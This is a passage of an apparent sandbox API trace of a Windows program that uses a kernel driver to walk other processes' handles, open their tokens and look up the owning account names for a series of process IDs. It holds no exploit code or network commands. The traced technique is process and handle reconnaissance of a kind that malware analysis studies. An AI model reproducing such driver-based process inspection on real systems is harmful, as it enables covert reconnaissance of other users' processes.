lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.735] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.735] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.735] PsAcquireProcessExitSynchronization () returned 0x0 [0074.736] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054f85d0) [0074.736] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.736] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.736] PsReleaseProcessExitSynchronization () returned 0x2 [0074.736] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0074.736] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.736] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.736] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.736] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.736] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f0) returned 0xc0 [0074.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.736] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020cf460, HandleInformation=0x0) returned 0x0 [0074.736] ObOpenObjectByPointer (in: Object=0xfffffa80020cf460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.736] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x12 [0074.736] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.736] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.736] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.736] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.736] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.737] CloseHandle (hObject=0xc8) returned 1 [0074.737] CloseHandle (hObject=0xc0) returned 1 [0074.738] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.738] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.738] PsAcquireProcessExitSynchronization () returned 0x0 [0074.738] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054f85d0) [0074.738] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020cfd90, HandleInformation=0x0) returned 0x0 [0074.738] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.738] PsReleaseProcessExitSynchronization () returned 0x2 [0074.738] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0074.738] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.738] ObfDereferenceObject (Object=0xfffffa80020cfd90) returned 0x1 [0074.738] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.738] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.738] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0074.738] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.738] PsAcquireProcessExitSynchronization () returned 0x0 [0074.738] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054f85d0) [0074.738] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020d2f20, HandleInformation=0x0) returned 0x0 [0074.738] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.738] PsReleaseProcessExitSynchronization () returned 0x2 [0074.738] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0074.738] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.738] ObfDereferenceObject (Object=0xfffffa80020d2f20) returned 0x1 [0074.738] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.738] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.738] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.738] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.739] PsAcquireProcessExitSynchronization () returned 0x0 [0074.739] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054f85d0) [0074.739] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.739] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.739] PsReleaseProcessExitSynchronization () returned 0x2 [0074.739] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0074.739] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.739] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.739] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.739] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.739] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa00) returned 0xc0 [0074.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.739] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020e5b30, HandleInformation=0x0) returned 0x0 [0074.739] ObOpenObjectByPointer (in: Object=0xfffffa80020e5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.739] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x12 [0074.739] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.739] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.739] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.739] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.739] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.740] CloseHandle (hObject=0xc8) returned 1 [0074.741] CloseHandle (hObject=0xc0) returned 1 [0074.741] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.741] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.741] PsAcquireProcessExitSynchronization () returned 0x0 [0074.741] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054f85d0) [0074.741] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020dca70, HandleInformation=0x0) returned 0x0 [0074.741] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.741] PsReleaseProcessExitSynchronization () returned 0x2 [0074.741] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0074.741] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.741] ObfDereferenceObject (Object=0xfffffa80020dca70) returned 0x1 [0074.741] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.741] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.741] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0074.741] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.741] PsAcquireProcessExitSynchronization () returned 0x0 [0074.741] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054f85d0) [0074.741] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020e51a0, HandleInformation=0x0) returned 0x0 [0074.741] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.741] PsReleaseProcessExitSynchronization () returned 0x2 [0074.741] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0074.741] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.741] ObfDereferenceObject (Object=0xfffffa80020e51a0) returned 0x1 [0074.741] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.741] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.741] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.742] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.742] PsAcquireProcessExitSynchronization () returned 0x0 [0074.742] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054f85d0) [0074.742] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.742] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.742] PsReleaseProcessExitSynchronization () returned 0x2 [0074.742] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0074.742] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.742] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.742] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.742] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.742] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0xc0 [0074.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.742] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020f65f0, HandleInformation=0x0) returned 0x0 [0074.742] ObOpenObjectByPointer (in: Object=0xfffffa80020f65f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.742] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x12 [0074.742] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.742] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.742] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.742] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.742] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.743] CloseHandle (hObject=0xc8) returned 1 [0074.744] CloseHandle (hObject=0xc0) returned 1 [0074.744] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.744] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.744] PsAcquireProcessExitSynchronization () returned 0x0 [0074.744] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054f85d0) [0074.744] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020f6f20, HandleInformation=0x0) returned 0x0 [0074.744] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.744] PsReleaseProcessExitSynchronization () returned 0x2 [0074.744] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0074.744] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.744] ObfDereferenceObject (Object=0xfffffa80020f6f20) returned 0x1 [0074.744] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.744] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.744] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0074.744] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.744] PsAcquireProcessExitSynchronization () returned 0x0 [0074.744] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054f85d0) [0074.744] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020f81e0, HandleInformation=0x0) returned 0x0 [0074.744] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.744] PsReleaseProcessExitSynchronization () returned 0x2 [0074.744] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0074.744] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.744] ObfDereferenceObject (Object=0xfffffa80020f81e0) returned 0x1 [0074.744] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.744] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.744] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.745] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.745] PsAcquireProcessExitSynchronization () returned 0x0 [0074.745] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054f85d0) [0074.745] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.745] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.745] PsReleaseProcessExitSynchronization () returned 0x2 [0074.745] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0074.745] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.745] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.745] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.745] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.745] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa20) returned 0xc0 [0074.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.745] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002104b30, HandleInformation=0x0) returned 0x0 [0074.745] ObOpenObjectByPointer (in: Object=0xfffffa8002104b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.745] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x12 [0074.745] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.745] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.745] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.745] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.745] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.747] CloseHandle (hObject=0xc8) returned 1 [0074.747] CloseHandle (hObject=0xc0) returned 1 [0074.747] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.747] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 